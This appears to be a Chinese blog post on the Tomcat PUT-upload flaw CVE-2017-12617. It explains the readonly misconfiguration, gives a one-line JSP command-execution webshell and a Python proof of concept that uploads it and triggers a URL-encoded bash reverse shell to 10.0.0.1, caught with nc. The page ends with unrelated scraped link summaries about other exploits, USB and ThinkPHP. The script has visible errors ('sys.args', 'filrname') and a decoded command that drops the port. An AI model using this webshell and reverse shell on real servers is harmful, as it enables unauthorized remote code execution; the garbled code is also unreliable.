一、原理分析:

只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false,则Tomcat可以不经任何身份验证的控制直接接收PUT方式上传的文件,无论上传者是任何人,也无论上传的是任何文件。此时可以上传jsp文件,直接执行jsp代码。

二、实例分析:

我们上传1.txt,直接返回了201成功

不幸的是找到的这个环境对jsp上传是失败的,所以在一定程度上防止了getshell的。

如果能够上传jsp,只需传一个木马上去,执行反弹shell的命令,就可以搞定了。

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

然后我们可以写一个脚本来搞定

三、验证POC:

poc的流程其实很简单,requests库发起put请求,上传payload如上,然后直接访问对应的url反弹shell就行。

只写出关键代码

import sys
import uuid
import requests
targetip = sys.args[1]
targetport = sys.args[2]
filename = uuid.uuid1()
targeturl = "https://%s:%s/%s.jsp"%(targetip,targetport,filrname)
response = requests.put(targeturl,data='<%Runtime.getRuntime().exec(request.getParameter("i"));%>')
if response.status_code == 201:
print "YES"
requests.get(targeturl+"?i=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%38%30%38%30%20%30%3e%26%31%0a")

参数i的部分URL编码后的:

bash -i >& /dev/tcp/10.0.0.1/ >&

只需要自己用nc监听者端口就可以了。

Tomcat远程任意代码执行漏洞及其POC(CVE-2017-12617)的更多相关文章

  1. WordPress wp-includes/functions.php脚本远程任意代码执行漏洞

    漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...

  2. PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

    首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或  -dauto_prepend_ ...

  3. WordPress 'is_serialized()'远程任意代码执行漏洞(CVE-2013-4338)

    漏洞版本: WordPress 3.6 漏洞描述: Bugtraq ID:62345 CVE ID:CVE-2013-4338 WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PH ...

  4. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...

  5. Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法

    Struts 2的远程任意代码执行和重定向漏洞,是这两天互联网上最重大的安全事件,据说国内互联网企业中,很多电商纷纷中招,应该已经有大规模的用户隐私泄露.这里我们简单总结下怎样在自己机子上重现这些漏洞 ...

  6. 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析

    近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...

  7. 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞

    Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...

  8. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  9. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

随机推荐

  1. 解决Spring框架的Dao层改用@Repository注解,无法使用JdbcDaoSupport的问题

    解决Spring框架的Dao层改用@Repository注解,无法使用JdbcDaoSupport的问题 Alternatively, create an own implementation of ...

  2. View与Model绑定注意事项 (视图无数据显示)

    Qt 中视图与模型绑定时,模型必须使用new来创建.否则刚开始初始化的时候,视图无数据显示,或者后期视图不能随着模型的改变而改变. 具体原因:我猜测是局部变量生命周期的问题.new 的变量在堆中,除非 ...

  3. USB2.0学习笔记连载(三):通用USB驱动程序解析

    对于USB驱动的开发,读者可以使用Windows DDK.DriverStudio等多种开发工具来实现USB的驱动,但是驱动程序的开发过程都比较复杂,而且很容易致使USB主机内存泄露而死机.那么对于笔 ...

  4. ThinkPHP3.2 介绍

    模块化 驱动化 为云平台而生ThinkPHP3.2正式版发布! ThinkPHP是国内领先的WEB应用开发框架,诞生于2006年初,在国内具有良好的口碑和广大的用户群,秉承了大道至简的开发理念,让WE ...

  5. 74hc165三片级联

    3片74HC165进行级联,用于扩展IO口,读取外界设备的数据. unsigned int read_74165(void) { unsigned ; unsigned ; //三片74hc165,需 ...

  6. Python3.4下使用sqlalchemy

    一. 1.用sudo apt-get install python3-numpy之后,会默认把numpy安装到  /usr/lib/python3/dist-packages目录下,而且版本比较低. ...

  7. devstack install attributeError: 'module' object has no attribute '__version__'

    work around: edit the file /usr/local/lib/python2.7/dist-packages/openstack/session.py and remove th ...

  8. Sql server中根据存储过程中的部分信息查找存储过程名称的方法【视图和Function】

    .查询的语句: select a.id,b.name,a.*,b.* from syscomments a join sysobjects b on a.id=b.id where b.xtype=' ...

  9. php jquery pjax示例源码 (ajax请求,并改变url)

    下载地址: http://files.cnblogs.com/files/gaocong/jquery_pjax.rar

  10. sublime text全局搜索,查找对应类插件

    windows平台下的操作. 1.你必须先安装package controller   否则请先安装 2. 图1 一.如果Preferences > Browse Packages菜单下没有Pa ...